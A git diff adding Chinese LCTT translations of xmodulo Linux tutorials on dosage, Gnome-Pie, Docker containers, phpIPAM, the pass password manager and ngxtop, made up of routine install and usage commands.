+有一个下载漫画连载的开源程序叫[dosage][1]。由于该程序是用python写的,所以安装漫画连载工具的方式有几种。今天我们就从一种简单的方法开始吧。 + +第一步,你需要[安装pip][2](LCTT译注,这是一个用于安装和管理python包的工具),并确保你的python版本在2.7.0至3.3区间。接下来使用pip安装dosage。 + + $ sudo pip install dosage + +如果pip不能以某种方式来找到相关包(例如Ubuntu14.04系统),可以使用下列命令来找到。 + + $ sudo pip install http://wummel.github.io/dosage/dist/dosage-2.13.tar.gz + +dosage将会自动创建一个名为“Comics”新的文件夹。 + +### Dosage的基本用法 + +dosage的基本用法如下所述。使用dosage,你可以在数据库中找到你喜欢阅读的网络漫画,当最新一期的连载发布时,你可以及时获取最新一期。从某种意义来说,无论你在网络漫画中订阅多少连载,dosage都会确保一期不落地帮你把没有读过的漫画连载下载下来。 + +下载和阅读你的离线网络漫画,首先要用以下命令将它们列出: + + $ dosage -l + +现在,我们可以看到dosage将2000多套漫画从数据库列出。我个人建议用下面的这个命令来查找我们想要看的漫画: + + $ dosage -l | grep [keyword] + +这样就会返回所有包含关键字标题的漫画了。 + +一旦你确定列表中哪一本漫画是你想要阅读的,使用以下命令订阅这本漫画: + + $ dosage [name of the webcomic] + +![](https://farm3.staticflickr.com/2940/13943751585_978ef260de_z.jpg) + +订阅漫画时会自动在"Comics"目录下创建子目录,并把最新的连载漫画下载到在里边。 + +如果你不仅仅想下载最新连载的漫画而是完整的一部,那么你使用以下的命令就可以了: + + $ dosage -a [name of the comic] + +最后,订阅了几本网络漫画之后,你可以使用下面这条简单的命令,方便地下载到这几本漫画的所有更新: + + $ dosage @ + +如果你不想错过每天的漫画更新,你可以每天执行这条命令确保不会错过。 + +### Dosage的高级用法 + +玩了一天dosage,你也许想知道它的更多使用方法。这需要你掌握更多的命令语法和快捷入门。 + +如果你想在xkcd上下载更多的漫画连载,你应该会看到一条dosage拒绝的提示(使用成人选项,确认你的年龄): + + use the --adult option to confirm your age + +![](https://farm3.staticflickr.com/2929/13920634111_9d63589f74_z.jpg) + +因为默认情况下,dosage会忽略任何标记为仅限18岁以上的成年人浏览的网络漫画(由于某些原因,xkcd也属于其中的一个)。如果你已经成人了,请输入: + + $ dosage --adult xkcd + +从之前的例子,你也许注意到'@'这个参数代表你所有已经下载的漫画书。而这个'@@'这个参数则是表示dosage数据库中的所有漫画书。 + + $ dosage @@ + +上面的命令会下载dosage所知道的每一本漫画的最新连载。 + +如果你想获取漫画从开始到特定的某一天的连载,你可以使用以下命令: + + $ dosage -a [name of the comic]:[year-month-day] + +举个例子,我们想看《Calvin and Hobbes》2014年之前的所有连载,运行这条命令: + + $ dosage -a calvinandhobbes:2014-01-01 + +最后,对于所有想自己做些开发的人来说,dosage可以在下载时生成rss,json和html日志文件。 + + $ dosage -o [type] [name of the comic] + +在以上命令中,,[type]可以是rss,json或者html,[name of comic]也可以只用'@'。例如,用'html'参数就会创建一个漂亮的HTML代码,以看到所有已经下载到的漫画连载。 + +下面的命令会下载所有关于Calvin and Hobbes的连载并生成一个网页,可以在你的浏览器中看到一个漂亮的网页,呈现出所有连载漫画。 + + $ dosage -o html -a calvinandhobbes + +![](https://farm4.staticflickr.com/3693/13920644962_1b041dc2f2_z.jpg) + +最后,我会建议你[阅读手册][3]获取更多相关信息。dosage的确是一个非常简洁的工具,它为广大网页漫画迷们服务。我很好奇地想知道像创建出一个json文件来下载连载漫画的这种创意是怎么诞生的? + +你还有其它更好的取代dosage的工具么?或者说你是这些工具的粉丝并且用得非常过瘾,那就在评论里推荐给我们吧。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/04/download-webcomics-command-line-linux.html + +译者:[disylee](https://github.com/disylee) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://wummel.github.io/dosage/ +[2]:http://ask.xmodulo.com/install-pip-linux.html +[3]:http://wummel.github.io/dosage/dosage.1.html diff --git a/published/201406/How to launch applications differently with Gnome-Pie on Linux desktop.md b/published/201406/How to launch applications differently with Gnome-Pie on Linux desktop.md new file mode 100644 index 0000000000..8fe5b3090c --- /dev/null +++ b/published/201406/How to launch applications differently with Gnome-Pie on Linux desktop.md @@ -0,0 +1,71 @@ +Linux桌面上的小饼饼,让启动应用分外不同! +================================================================================ + +最近,你能听到很多关于Ubuntu新的Unity界面的抱怨。我记得,当Unity开始兴起的时候,我正好离开Archlinux。然而,Unity间接地导致了一个后果:随着人们对它不满意,人们开始关注其他的桌面环境和Linux发行版。而如果你的系统支持Unity,没有人会反对将它弄得更顺眼些。 + +所以今天我向你推荐一个绝对原创的程序启动器: Gnome-Pie。你们可能会认为他的灵感来自魔兽世界插件"OPie"。因为他们有着相似的概念: 键盘快捷方式可以打开圆形"菜单",您可以从中选择一个应用程序或命令来启动。这种设计背后的主要思想是用户不必记住命令,但需要记住他的方向和操作。它的饼形设计让指针可以用同样的距离启动每个应用程序。再加上我们还有如此多自定义组合键,极大的提高效率并且最大限度地实现了人机工程学。 + +### 安装Gnome-Pie ### + +在Ubuntu上,Gnome-Pie 可以从universe仓库中获得, 但是,某些原因,这个版本不是很稳定,常常会崩溃。作为一个备选方案,我建议你从官方的源进行下载。 + + $ sudo add-apt-repository ppa:simonschneegans/testing + $ sudo apt-get update + $ sudo apt-get install gnome-pie + +在Fedora, 你可以使用以下命令: + + $ sudo yum install gnome-pie + +对于Archlinux, 你可以在[AUR][1]找到它。 + +### Gnome-Pie的基本用法 ### + +默认的,Gnome-Pie有一个比较可靠的初始配置。首先,你可以使用 **Ctrl + Alt + a** 调出,它将显示你的系统的基本应用程序。 + +![](https://farm3.staticflickr.com/2917/14040269128_6dc6544c14_z.jpg) + +接下来, 按下 **Ctrl+Alt+b** 调出第二个圆,这将显示你的文件管理器的书签。 + +![](https://farm3.staticflickr.com/2903/14040269088_8de29edd18.jpg) + +第三个,也许是最有用的,它会显示你的应用程序菜单,按下 **Ctrl + Alt + 空格** 可调出。 + +![](https://farm3.staticflickr.com/2903/14040345657_071f40b22f_z.jpg) + +第四个,仅用于控制音乐播放器。你可以猜到,快捷键是 **Ctrl + Alt + m**。 + +![](https://farm3.staticflickr.com/2925/14226915065_8b0e3841c6_o.png) + +第五个,你可以快速访问重新启动、 关机和注销命令 (**Ctrl + Alt + q**,我猜q是代表退出吧)。 + +![](https://farm3.staticflickr.com/2931/14040303600_5b3a517335_o.png) + +最后,第六个,你可以用Pie来控制窗口,可以最小化、 规模、 关闭, 等等. 并且,快捷键是 **Ctrl+Alt+w**。 + +![](https://farm3.staticflickr.com/2904/14226699514_42d364a4d4_o.png) + +虽然我发现这种默认设置已经是相当令人满意,几乎和预置的启动器一样好。然而,如果让我鸡蛋里找骨头,我会说一些快捷方式很难用一只手执行。大多数情况是,我们用两只手打开菜单,然后再回到鼠标以选择该选项。太不爽了。 + +然而,我们在用 Linux!谁会在乎默认设置?自定义才是王道。Gnome-Pie将为你提供优良的服务。通过配置,你可以编辑现有的Pie,改变程序图标,设计自己的Pie,改变主题,甚至将另外一个Pie菜单作为一个子菜单。 + +[![](https://farm6.staticflickr.com/5508/14247093043_1fe1188709_z.jpg)][2] + +你甚至可以编辑它来访问 URL、 自由设置热键、运行你自己的命令。惟一的缺憾可能是它缺少Widgets。 + +![](https://farm3.staticflickr.com/2927/14040264609_b7aa66f078_z.jpg) + +总之,相较于传统的基于文本的启动器,Gnome-Pie是一个相当有吸引力的可视化应用程序。我很喜欢他的自定义键盘和鼠标组合键,让我想起了我在War3或者LOL中的神级操作。如果玩家使用这种操作方式,它可以为你带来方便和高效。如果你想节约桌面空间,我甚至建议你不要将预置的启动器放到桌面上。总之,我甚至敢说它可以替代Gnome。 + +你觉得怎么样?你在所有相信世界上有这么好的东西吗?或者说,随着新的Gnome shell出现,Gnome-Pie开始失去竞争力?欢迎评论。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/05/launch-applications-differently-gnome-pie-linux-desktop.html + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://aur.archlinux.org/packages/gnome-pie/ +[2]:https://www.flickr.com/photos/xmodulo/14247093043/ diff --git a/published/201406/How to manage Linux containers with Docker on Ubuntu.md b/published/201406/How to manage Linux containers with Docker on Ubuntu.md new file mode 100644 index 0000000000..94925b9649 --- /dev/null +++ b/published/201406/How to manage Linux containers with Docker on Ubuntu.md @@ -0,0 +1,114 @@ +在 Ubuntu 中用 Docker 管理 Linux Container 容器 +================================================================================ +当前,完全硬件虚拟化技术(KVM、Xen、Hyper-V 等)能在一个物理主机上很好地运行多个互相独立的操作系统,但这也带来一些问题:性能不佳,资源浪费,系统反应迟缓等。有时候对用户来说,完全的硬件虚拟化并不是最好的选择。 + +一种替代方案是使用轻量级虚拟化技术 —— 所谓的 [LinuX Container 容器][1] (LXC),它提供的是系统级虚拟化。与跑虚拟机相比,LXC 可以在一个轻量级沙箱容器里面跑多个 Linux 操作系统。当你需要设置一些易于克隆的开发环境、测试环境,或想在安全沙盒里安装应用时,LXC 就非常有用了。 + +[Docker][2] 是一个开源工具,可以让用户方便地布署 Linux Container 容器。Docker 很快变成了 container 技术的非官方标准,从而被 [Ubuntu][3] 和 [Red Hat][4]等众多发行版吸收进去。 + +本教程中我会向你们演示如何在 Ubuntu 14.04 中使用 Docker 来管理 LXC。需要注意的是,本教程的一些内容可能会与其他 Ubuntu 版本下的操作会稍微有些出入。 + +当前Ubuntu 系统下的 Docker 的安装包只提供64位。如果你想运行32位的 Docker,你需要[使用源码编译32位 Docker 工具][5]。 + +### 安装 Docker ### + +通过 apt-get 安装 Docker 简直是小菜一碟。 + + $ sudo apt-get install docker.io + +如果你不是 root 组的用户,你可以把自己加入到 docker 用户组。下面的命令可以让没有 root 权限的用户使用 Docker: + + $ sudo usermod -a -G docker $USER + +重新登录,以便让你的用户组权限生效。 + +下一步是编辑 Docker 配置文件,确定 Docker 可执行文件的路径: + + $ sudo vi /etc/default/docker.io + + DOCKER="/usr/bin/docker.io" + +重启 Docker 服务: + + $ sudo service docker.io restart + +### 管理 Docker Container 容器 ### + +如果你想在新的 Docker 容器下创建一个新的 Ubuntu 操作系统,你首先需要 pull 一个 [Ubuntu][6] 的 Docker 镜像。下面的命令可以通过网络下载 Docker 镜像: + + $ docker pull ubuntu + +你可以使用下面的命令启动 Docker 里面的 Ubuntu 系统。最后的参数“/bin/bash”表示一旦容器启动,首先会执行简单的 bash。 + + $ docker run -i -t ubuntu /bin/bash + +上面的命令会立即启动 Ubuntu container 容器(这是一个完美的容器!),然后它会提供一个 shell 提示符运行环境给你。现在开始你可以通过这个沙箱环境访问一个完整的 Ubuntu 系统了。 + +![](https://farm6.staticflickr.com/5515/13892198519_dfb9481af6_z.jpg) + +输入“exit”命令退出 Docker 容器。 + +你也可以用下面的命令进入不同的系统。比如 Fedora: + + $ docker.io run -i -t fedora /bin/bash + +如果系统中还不存在 Fedora Docker 镜像,这个命令会自动下载它,然后启动这个 Fedora 的 Docker 容器。 + +![](https://farm8.staticflickr.com/7427/14079294164_0ccabde57a.jpg) + +如果你想要开启指定版本的系统,比如 Ubuntu 13.04,你可以使用下面的命令: + + $ docker.io run -i -t ubuntu:13.04 /bin/bash + +### Container 容器网络设置 ### + +Docker 使用 Linux 桥接技术与其他容器通信,以及连通外网。安装完 Docker 后你应该可以看到 docker0 这个网桥,这是 Docker 默认创建的。你创建的每个容器都会通过这个网桥连接到网络。 + +![](https://farm6.staticflickr.com/5462/14078810715_513764848b_z.jpg) + +#### 自定义 Linux 网桥 #### + +如果你想自定义网桥,你可以执行以下步骤。你可以在这个网桥后面分配一个子网,并为这个子网分配地址。下面的命令会为 Docker 子网分配 10.0.0.0/24 地址段: + + $ sudo apt-get install bridge-utils + $ sudo brctl addbr br0 + $ sudo ifconfig br0 10.0.0.1 netmask 255.255.255.0 + +然后在 /etc/default/docker.io 文件的 DOCKER_OPTS 变量里添加“-b=br0”选项,并重启 Docker 服务: + + $ sudo service docker.io restart + +到目前为止,任何创建的容器都会连上 br0 网桥,它们的 IP 地址会从 10.0.0.0/24 中自动分配(译注:在10.0.0.2到10.0.0.254之间随机分配)。 + +#### 其他自定义设置 #### + +你可以通过 /etc/default/docker.io 文件的 DOCKER_OPTS 变量设置其他一些属性: + +- "-dns 8.8.8.8 -dns 8.8.4.4": 为容器指定 DNS 服务器。 +- "-icc=false": 将容器与其他容器隔离出来 + +### 疑难解答 ### + +1、当你运行 docker.io 命令时,你可能会遇到以下问题: + +> dial unix /var/run/docker.sock: no such file or directory + +这个错误可能是由于 Docker 后台进程没有启动。检查下 Docker 后台进程的状态,确认它已经处于启动状态: + + $ sudo service docker.io status + $ sudo service docker.io start + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/05/manage-linux-containers-docker-ubuntu.html + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://linuxcontainers.org/ +[2]:https://www.docker.io/ +[3]:http://blog.docker.io/2014/04/docker-in-ubuntu-ubuntu-in-docker/ +[4]:http://www.redhat.com/about/news/press-archive/2014/4/red-hat-docker-expand-collaboration +[5]:http://mwhiteley.com/linux-containers/2013/08/31/docker-on-i386.html +[6]:http://xmodulo.com/go/ubuntubook diff --git a/published/201406/How to manage ip addresses and subnets with phpIPAM.md b/published/201406/How to manage ip addresses and subnets with phpIPAM.md new file mode 100644 index 0000000000..94f1587d5d --- /dev/null +++ b/published/201406/How to manage ip addresses and subnets with phpIPAM.md @@ -0,0 +1,194 @@ +如何使用phpIPAM来管理IP地址和子网 +================================================================================ + +通常,网络或系统管理员有责任来管理其所管理的网络下的一个或多个子网。例如,当一个网段分配了/24子网,那么该子网就有254个IP地址可以用于不同用途。要跟踪某个IP被分配到了哪个主机,就需要通过某种方式记录下来。最简单的方法,就是使用一个电子表格,如Excel来记录IP地址的分配信息。此方法对于只有一个管理员,并且网络很小的情况下比较奏效。然而,对于多个大型网络而言,依赖于电子表格并不方便,而且十分容易出错。更糟糕的是,如果有多个管理员参与管理,更新电子表格就十分麻烦了,因为每个管理员可能生成各种不同版本的文档记录。 + +一种系统地管理IP地址分配的方式是使用网络化的IP地址管理工具。不仅仅是因为网络化管理工具能在任何地方访问并管理,而且其后端数据库也能保证所有更新能正确同步并实时生效。尽管有许多可用的网络化应用工具,但我们将在此教程中关注如何来安装[phpIPAM][1](IP Address Manager IP地址管理工具)。phpIPAM是一个开源、高效的IP地址管理应用软件,有着以下一些特性。 + +- 同时支持IPv4和IPv6(和其它工具不同,它对IPv6支持得很好) +- 内建的IPv4和IPv6计算器 +- 支持无类域间路由(CIDR)标记 +- 支持MySQL数据库 +- 子网嵌套 +- 基于用户/组权限 +- 可视化报表工具 +- 使用.xls文件导入/导出 +- 支持设备、VRF和VLAN +- 强大的搜索引擎 +- 电子邮件标记 +- 支持基于AD/LDAP的验证 + +可访问[http://demo.phpipam.net][2]查看phpIPAM演示网站。 + +在本教程中,我们将**在Ubuntu环境中使用Apache来配置phpIPAM**。 + +### 在Ubuntu上安装phpIPAM ### + +首先,使用apt-get来安装需要的软件包。 + + # apt-get install apache2 mysql-server php5 php5-gmp php-pear php5-mysql php5-ldap wget + +如果MySQL是首次安装,请使用以下命令来设置root密码。 + + # mysqladmin -u root password NEWPASSWORD + +phpIPAM可以安装在任何Web服务器目录中,我们将会安装到Apache Web服务器的根目录下的/phpipam/子目录中。 + +下载phpIPAM软件包。 + + # wget http://kent.dl.sourceforge.net/project/phpipam/phpipam-1.0.tar + +将软件包解压到Web服务器相应目录。 + + # cp phpipam-1.0.tar /var/www/ + # cp /var/www/ + # tar xvf phpipam-1.0.tar + # rm phpipam-1.0.tar + +现在来指定MySQL的用户名和密码,同时指定基准目录。 + + # vim /var/www/phpipam/config.php + +---------- + + $db['host'] = "localhost"; + + ## MySQL user for ipam ## + $db['user'] = "phpipam"; + + ## password for the MySQL user ## + $db['pass'] = "phpipamadmin"; + + ## database for MySQL ## + $db['name'] = "phpipam"; + + ## base directory ## + define('BASE', "/phpipam/"); + +需要在提供的.htaccess文件中指定基准目录。 + + # vim /var/www/phpipam/.htaccess +--- + RewriteBase /phpipam/ + +### 准备Apache Web服务器 ### + +phpIPAM的运行需要Apache 的 Rewrite模块,该模块可以在Ubuntu或Debian机器上使用以下命令来启用。 + + # a2enmod rewrite + +接下来,需要修改Apache的默认配置。请添加/修改你的配置,使它看起来像下面这样。 + + # vim /etc/apache2/sites-enabled/000-default + +---------- + + + Options Indexes FollowSymLinks MultiViews + AllowOverride all + Order allow,deny + allow from all + + +最后,重启Apache Web服务。 + + # service apache2 restart + +### 完成安装 ### + +我们可以使用浏览器来完成phpIPAM的安装。将浏览器地址指向URL: http:///phpIPAM,将会显示以下phpIPAM安装页面。我们可以开始自动化数据库安装。 + +![](https://farm3.staticflickr.com/2928/14216904555_0095bf048f_z.jpg) + +![](https://farm3.staticflickr.com/2934/14193740116_afc44b8338_z.jpg) + +现在,phpIPAM应该已经起来,并正在运行了,我们可以使用以下默认用户来登录。 + +- **URL**: http:///phpipam +- **User**: Admin +- **Pass**: ipamadmin + +### 使用phpIPAM管理IP地址 ### + +在本教程的剩下部分,我们将引领你进入phpIPAM的子网和IP地址管理。 + +#### 创建区域 #### + +让我们从为我们的网络创建区域开始吧。点击“管理” > “区域”。 + +![](https://farm3.staticflickr.com/2926/14213603451_3c2918805c.jpg) + +点击“添加区域”。现在我们可以为我们的添加的区域取个你想要的名称了(如:"Our Network"),填上区域的详细情况。 + +![](https://farm6.staticflickr.com/5195/14030287410_3d07a582ce_z.jpg)][3] + +#### 创建子网 #### + +接下来,在上面场景的区域“Our Network”下添加一个新的子网172.16.1.0/24。点击“Our Network” > “添加子网” + +![](https://farm3.staticflickr.com/2925/14213603401_e16917bb7a_z.jpg) + +![](https://farm3.staticflickr.com/2937/14216715144_0427165702_z.jpg) + +现在,我们可以很容易地在子网中添加IP地址了。一种方法是逐个来添加它们,phpIPAM提供了一个可选的方法:扫描所有主机并自动添加,这一点都不麻烦。它可以扫描位于同一广播域下的本地子网,也可以通过路由扫描到远程子网。在选择一个子网后,像下面这样点击“扫描子网中的新主机”来扫描IP地址。 + +![](https://farm6.staticflickr.com/5157/14193740006_ac2a01a3aa_o.png)][4] + +在扫描完成后,发现的IP地址可以通过点击底部“添加发现的主机”按钮来将IP地址添加到数据库。 + +#### 创建IPv6子网 #### + +可以通过相似的步骤来创建IPv6子网,像下面截图中展示的那样来指定IPv6网络。 + +![](https://farm3.staticflickr.com/2922/14216715104_de8008bf94_z.jpg) + +所有用于IPv4的工具也可以用于IPv6. + +#### 创建嵌套子网 #### + +phpIPAM也提供了创建嵌套子网的选项,可以用于IPv4和IPv6。例如,我们将172.16.1.0/24 IP区块划分成4个更小的子网(/26),每个子网用于组织内特定的部门。在选择/24子网后,我们可以使用“添加新的嵌套子网”按钮来创建嵌套子网。截图中展示了添加嵌套子网的图标。 + +![](https://farm6.staticflickr.com/5272/14030318447_66e4511cd6_o.png)[5] + +在所有的子网创建完毕后,我们应该有相同的输出。以下是嵌套子网预览窗口。 + +![](https://farm6.staticflickr.com/5231/14216904305_5af77616f7_z.jpg)[6] + +#### 添加用户和组 #### + +首先,我们将为区域“Our Network”创建一个具有读/写权限的组。这项工作可以通过选择“管理” > “组” > “创建组”来完成。 + +![](https://farm3.staticflickr.com/2899/14030230539_73b1d5f7d4_z.jpg) + +既然组已经被创建完成,那么我们来修改区域权限,选择“管理” > “区域”,然后编辑区域。 + +![](https://farm6.staticflickr.com/5489/14193739966_11a244e23b_z.jpg)[7] + +![](https://farm3.staticflickr.com/2930/14030230519_597088ba26_z.jpg) + +我们将创建一个名为“user1”的用户,添加该用户到“演示组”,以便该用户能从该组集成有所必要的权限。我们从点击“管理” > “用户” > “创建用户”开始。 + +[![](https://farm6.staticflickr.com/5585/14214506012_a581eef7de_z.jpg)][8] + +现在,我们能以该用户身份登录,并添加/修改“我们的网络”下的IP地址。 + +最后小结,phpIPAM是一个多样化的IP地址管理工具,可以用于IPv4和IPv6。本教程仅关注基本内容,以帮助你开始使用该工具。你一定要测试所有可用的特性,如使用IP地址计算器,添加设备,VLAN和VRF,以及使用.xls导入/导出。 + +希望本教程对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/05/manage-ip-addresses-subnets-phpipam.html + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://phpipam.net/ +[2]:http://demo.phpipam.net/ +[3]:https://www.flickr.com/photos/xmodulo/14030287410/ +[4]:https://www.flickr.com/photos/xmodulo/14193740006/ +[5]:https://www.flickr.com/photos/xmodulo/14030318447/ +[6]:https://www.flickr.com/photos/xmodulo/14216904305/ +[7]:https://www.flickr.com/photos/xmodulo/14193739966/ +[8]:https://www.flickr.com/photos/xmodulo/14214506012/ diff --git a/published/201406/How to manage passwords from the command line on Linux.md b/published/201406/How to manage passwords from the command line on Linux.md new file mode 100644 index 0000000000..aa4f6e5a78 --- /dev/null +++ b/published/201406/How to manage passwords from the command line on Linux.md @@ -0,0 +1,121 @@ +如何在Linux上使用命令行管理密码 +================================================================================ + +在基于密码的认证在网络盛行的今天,你可能需要或者已经使用了某种密码管理工具来跟踪管理你正在使用的所有密码。有各种各样的在线或离线服务或者软件工具用于完成此类事情,而这些工具因复杂程度、用户界面或者目标环境(如企业或终端用户)的不同而各不相同。例如,有一些是为终端用户开发基于图形化的密码管理器,如[KeePass(X)][1]。 + +对于那些不想要依赖图形化进行密码管理的用户,笔者将会讲述如何在命令行下使用 [pass][2]来管理密码,**这是一个简单的用于命令行管理密码的工具**。 + +该密码工具实际上是一个shell脚本编写的前端,其中调用了几个其它工具(如gpg,pwgen,git,xsel)来使用OpenGPG管理用户的密码信息。各个密码使用gpg工具进行加密,并存储到本地密码仓库中。密码信息可以通过终端或者自清除的剪贴板工具使用。 + +该密码工具相当灵活,并且使用起来及其简单。你可以将每个密码信息存储到一个OpenGPG保护的普通文本文件,并且将不同的密码文件分组多个类目中。它支持bash自动补全特性,因此可以很方便地使用TAB键来补全命令或者很长的密码名称。 + + +### 在Linux上安装pass ### + +在Debian,Ubuntu或者Linux Mint上安装pass: + + $ sudo apt-get install pass + $ echo "source /etc/bash_completion.d/password-store" >> ~/.bashrc + + +在Fedora上安装pass: + + $ sudo yum install pass + $ echo "source /etc/bash_completion.d/password-store" >> ~/.bashrc + +在CentOS上安装pass,首先[启用EPEL仓库][3],然后执行以下命令: + + $ sudo yum install pass + $ echo "source /etc/bash_completion.d/password-store" >> ~/.bashrc + +在Archlinux上安装pass: + + $ sudo pac -S pass + $ echo "source /etc/bash_completion.d/password-store" >> ~/.bashrc + +### 初始化本地密码仓库 ### + +在使用密码工具之前,你需要执行一次初始化步骤,该步骤包括创建一个GPG密钥对(如果你还没有)以及一个本地密码仓库。 + +首先,通过以下步骤创建一个GPG密钥对(即:公钥/私钥)。如果已经创建了自己的GPG密钥对,可以跳过此步骤。 + + $ gpg --gen-key + +执行该步骤,会询问你如下问题。如果你不确定,可以选择接受默认回答。作为密钥生成部分,你将要为你的密钥创建一个加密口令,这个口令实际上是你访问存储在本地密码仓库中的任何密码信息时的主密码。成功创建密钥对后,创建的密钥对会存储在~/.gnupg目录中。 + +![](https://farm3.staticflickr.com/2922/13965806430_a19596da60_z.jpg) + +接下来,运行以下命令来初始化本地密码仓库。下面的,输入之前创建密钥对时的关联电子邮件地址。 + + $ pass init + +该命令会在~/.password-store目录中创建一个密码仓库。 + +### 在终端使用pass管理密码 ### +#### 插入新密码信息 #### + +要将新的密码信息插入到本地密码仓库中,请遵循以下命令格式: + + $ pass insert + +是你定义的专有名称,并且可以分级(如 "finance/tdbank", "online/gmail.com")。在这种情况下,密码信息可以存储到~/.password-store目录下对应的子目录中。 + +如果你想要分多行插入密码信息,请像以下命令一样使用"-m"选项。以你自己喜欢的任何格式来输入密码信息,然后按Ctrl+D来结束。 + + $ pass insert -m + +![](https://c2.staticflickr.com/6/5564/14129264286_9fc2938c0b_z.jpg) + +#### 查看所有密码名称列表 #### + +要查看所有存储的密码名称列表,只需输入"pass"命令: + + $ pass + +![](https://farm3.staticflickr.com/2905/13965804498_92b0af83cf_o.jpg) + +#### 从密码仓库中取回密码信息 #### + +要访问特定密码列表中的内容,只需使用以下命令: + + $ pass + +例如: + + $ pass email/gmail.com + +会要求你输入密码口令来解锁密钥。 + +如果你想要将密码复制到剪贴板,而不是显示到终端屏幕上,使用以下命令: + + $ pass -c email/gmail.com + +当密码被复制到剪贴板,剪贴板在45秒后会被自动清空。 + +#### 在密码仓库中生成并存储新密码 #### + +使用`pass`命令,你也可以生成一个新的随机密码,该密码可用于任何目的。pass工具将会使用pwgen工具来生成一个好的随机密码。你可以指定密码的长度,或者生成带或不带符号的密码。 + +例如,要生成一个具有10个字符不带符号的密码,并将它存储到 "email/new_service.com"列表中: + + $ pass generate email/new_service.com 10 -n + +#### 移除密码信息 #### + +要移除现存的密码信息是很容易的: + + $ pass rm email/gmail.com + +小结一下,pass是及其灵活,便于携带,并且更为重要的是,易于使用。对于正在寻找能简单而行之有效地、安全地、并且不依赖图形化管理任何私人信息的工具的人,笔者强烈推荐pass。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/05/manage-passwords-command-line-linux.html + +译者:[GOLinux](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2013/08/how-to-manage-multiple-passwords-on-linux.html +[2]:http://www.zx2c4.com/projects/password-store/ +[3]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html diff --git a/published/201406/How to monitor Nginx web server from the command line in real time.md b/published/201406/How to monitor Nginx web server from the command line in real time.md new file mode 100644 index 0000000000..0aa26102b1 --- /dev/null +++ b/published/201406/How to monitor Nginx web server from the command line in real time.md @@ -0,0 +1,105 @@ +ngxtop:在命令行实时监控 Nginx 的神器 +================================================================================ +Nginx网站服务器在生产环境中[运行][1]的时候需要进行实时监控。实际上,诸如[Nagios][2], Zabbix, Munin 的网络监控软件是支持 Nginx 监控的。 + +如果你不需要以上软件提供的综合性报告或者长期数据统计功能,只是需要一种快速简便的办法去监控 Nginx 服务器的请求的话,我建议你采用一个叫 [ngxtop][3] 的命令行工具。 + + +你马上就会发现 ngxtop 从界面和名称都借鉴了著名的top命令。ngxtop 是通过分析 Nginx 或者其他的日志文件,使用类似 top 命令的界面实时展示出来的。你可以说你知道的其他高端监控工具,但是在简洁这方面 ngxtop 无疑是最好的。简单就意味着不可替代。 + +本指南中,我将介绍如何使用 ngxtop 实时监控 Nginx 网站服务器。 + +### Linux 上安装 ngxtop ### + +首先在 Linux 系统中安装依赖库[pip][4](LCTT译注:ngxtop是用python编写的)。 + +然后使用如下命令安装 ngxtop。 + + $ sudo pip install ngxtop + +### ngxtop 使用 ### + +基本使用方法如下: + + ngxtop [options] + ngxtop [options] (print|top|avg|sum) + ngxtop info + +这里是一些通用选项。 + +- **-l **: 指定日志文件的完整路径 (Nginx 或 Apache2) +- **-f **: 日志格式 +- **--no-follow**: 处理当前已经写入的日志文件,而不是实时处理新添加到日志文件的日志 +- **-t **: 更新频率 +- **-n **: 显示行号 +- **-o **: 排序规则(默认是访问计数) +- **-a ..., --a ...**: 添加表达式(一般是聚合表达式如: sum, avg, min, max 等)到输出中。 +- **-v**: 输出详细信息 +- **-i **: 只处理符合规则的记录 + + +以下是一些内置变量,他们的含义不言自明。 + +- body_bytes_send +- http_referer +- http_user_agent +- remote_addr +- remote_user +- request +- status +- time_local + +### 使用 ngxtop 监控 Nginx ### + +ngxtop 默认会从其配置文件 (/etc/nginx/nginx.conf) 中查找 Nginx 日志的地址。所以,监控 Nginx ,运行以下命令即可: + + $ ngxtop + +这将会列出10个 Nginx 服务,按请求数量排序。 + +显示前20个最频繁的请求: + + $ ngxtop -n 20 + +![](https://farm4.staticflickr.com/3820/14294438196_c3996b1c4f_z.jpg) + +获取Nginx基本信息: + + $ ngxtop info + +![](https://farm4.staticflickr.com/3813/14317586785_ea6d95cbd0_z.jpg) + +你可以自定义显示的变量,简单列出需要显示的变量。使用 "print" 命令显示自定义请求。 + + $ ngxtop print request http_user_agent remote_addr + +![](https://farm4.staticflickr.com/3808/14131056547_72f3e8524b_z.jpg) + +显示请求最多的客户端IP地址 + + $ ngxtop top remote_addr + +![](https://farm4.staticflickr.com/3759/14130973180_1b9c436db3_z.jpg) + +显示状态码是404的请求 + + $ ngxtop -i 'status == 404' print request status + +![](https://farm6.staticflickr.com/5482/14130935259_e4d841394f_z.jpg) + +除了Nginx,ngtop 还可以处理其他的日志文件,比如 Apache 的访问文件。使用以下命令监控 Apache 服务器: + + $ tail -f /var/log/apache2/access.log | ngxtop -f common + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/06/monitor-nginx-web-server-command-line-real-time.html + +译者:[shipsw](https://github.com/shipsw) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2014/01/compile-install-nginx-web-server.html 